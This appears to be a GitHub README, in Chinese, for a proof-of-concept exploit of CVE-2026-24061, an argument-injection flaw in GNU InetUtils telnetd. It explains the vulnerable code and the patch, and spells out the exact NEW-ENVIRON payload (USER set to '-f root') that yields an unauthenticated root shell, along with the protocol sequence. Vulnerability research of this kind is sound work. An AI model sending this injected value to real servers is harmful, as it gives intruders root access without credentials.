przemytn/CVE-2026-24061
GitHub: przemytn/CVE-2026-24061
CVE-2026-24061 概念验证工具,利用 GNU InetUtils telnetd 的参数注入漏洞实现无凭据获取 root shell。
Stars: 0 | Forks: 0
# CVE-2026-24061 - telnetd auth 绕过
## 概述
GNU InetUtils 中 `telnetd` 的参数注入漏洞。受影响版本为 1.9.3 到 2.7。CVSS 评分 9.8。自 2026 年 1 月 26 日起被列入 CISA KEV 目录,这意味着该漏洞正在野外被积极利用。
核心技巧在于 telnetd 通过 NEW-ENVIRON (RFC 1572) 接收来自客户端的环境变量 `USER` 的值,并在没有任何验证的情况下直接将其拼接到 `login(1)` 的调用命令中。如果客户端发送 `USER="-f root"`,telnetd 将执行:
```
/usr/bin/login -p -h -f root
```
`login` 中的 `-f` 标志意味着“跳过密码验证直接登录该用户”。结果是获得 root shell,无需任何身份验证。
## 机制
在 `telnetd/telnetd.c` 中存在一个 login 调用模板:
```
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
```
`%u` 代表来自 telnet 身份验证的用户(受信任)。`%U` 代表来自客户端的原始环境变量 `USER`(不受信任)。当未启用身份验证时,使用的是 `%U`。
变量展开逻辑位于 `telnetd/utility.c` 的 `_var_short_name` 函数中:
```
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
```
零过滤。客户端在 USER 中发送的任何内容都会直接传递给 login 的命令行。不仅 `-f root` 有效,理论上可以注入 `login` 接受的任何参数。
该漏洞是在 2015-03-19 的上游安全防护提交 (`fa3245ac`) 中引入的。讽刺的是,该提交本意是为了改进 USER 变量的处理。Debian 曾在 2019 年为此发布过补丁 (`0028-telnetd-Scrub-USER-from-environment.patch`),但在 Debian 10 修复 CVE-2020-10188 时,该补丁丢失,导致漏洞回归。因此 Debian 10+、Ubuntu 及其衍生版本也受影响。
## POC 原理
`main.py` 是一个最小化的 telnet 客户端,其工作流程如下:
1. 连接到 23 端口
2. 在协商阶段接受 NEW-ENVIRON,其他选项均回复 WONT
3. 收到 SEND 请求后,回复 `IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE`
4. telnetd 执行 `login -f root`,你获得 shell
5. 随后作为交互式会话运行,从输出中过滤 IAC 和 ANSI 转义序列
```
klient serwer
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
```
## 用法
```
python3 main.py
python3 main.py -p
```
Ctrl+C 结束会话。
## 注意事项
不要在没有安装 `inetutils-telnetd` 的系统上尝试此操作。来自 netkit 的 `telnetd` 软件包是不同的代码,不受此特定漏洞影响。如果你连接后得到的是正常的登录提示符而不是 shell,说明服务器已经打了补丁,或者它不是 inetutils 的 telnetd。
不要将 payload 改为 `-f <其他用户>` 并期望它在所有系统上都有效。某些发行版的 `login(1)` 对 `-f` 有额外的限制。在标准的 Debian/Ubuntu 上,`-f root` 可以正常工作。
## 受影响版本
| 软件 | 版本 |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (补丁前) |
| Debian 11 | 在 2:2.0-1+deb11u3 中修复 |
| Ubuntu | inetutils-telnetd (补丁前) |
## 补丁
官方修复添加了一个 `sanitize()` 函数,用于拒绝以 `-` 开头或包含 shell 元字符的值。该函数应用于展开过程中的所有变量,而不仅仅是 USER。
```
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
```
- `fd702c0` - USER 补丁
- `ccba9f7` - 所有变量的清理
标签:CISA KEV, CISA项目, CVE-2026-24061, Exploit, GNU InetUtils, login, PoC, RCE, telnet, telnetd, Zero-Day, 协议分析, 参数注入, 暴力破解, 权限提升, 环境变量注入, 编程工具, 网络安全, 认证绕过, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞